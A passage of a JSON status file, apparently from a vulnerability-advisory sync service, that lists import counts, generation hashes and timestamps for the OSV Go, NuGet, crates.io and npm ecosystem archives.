counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}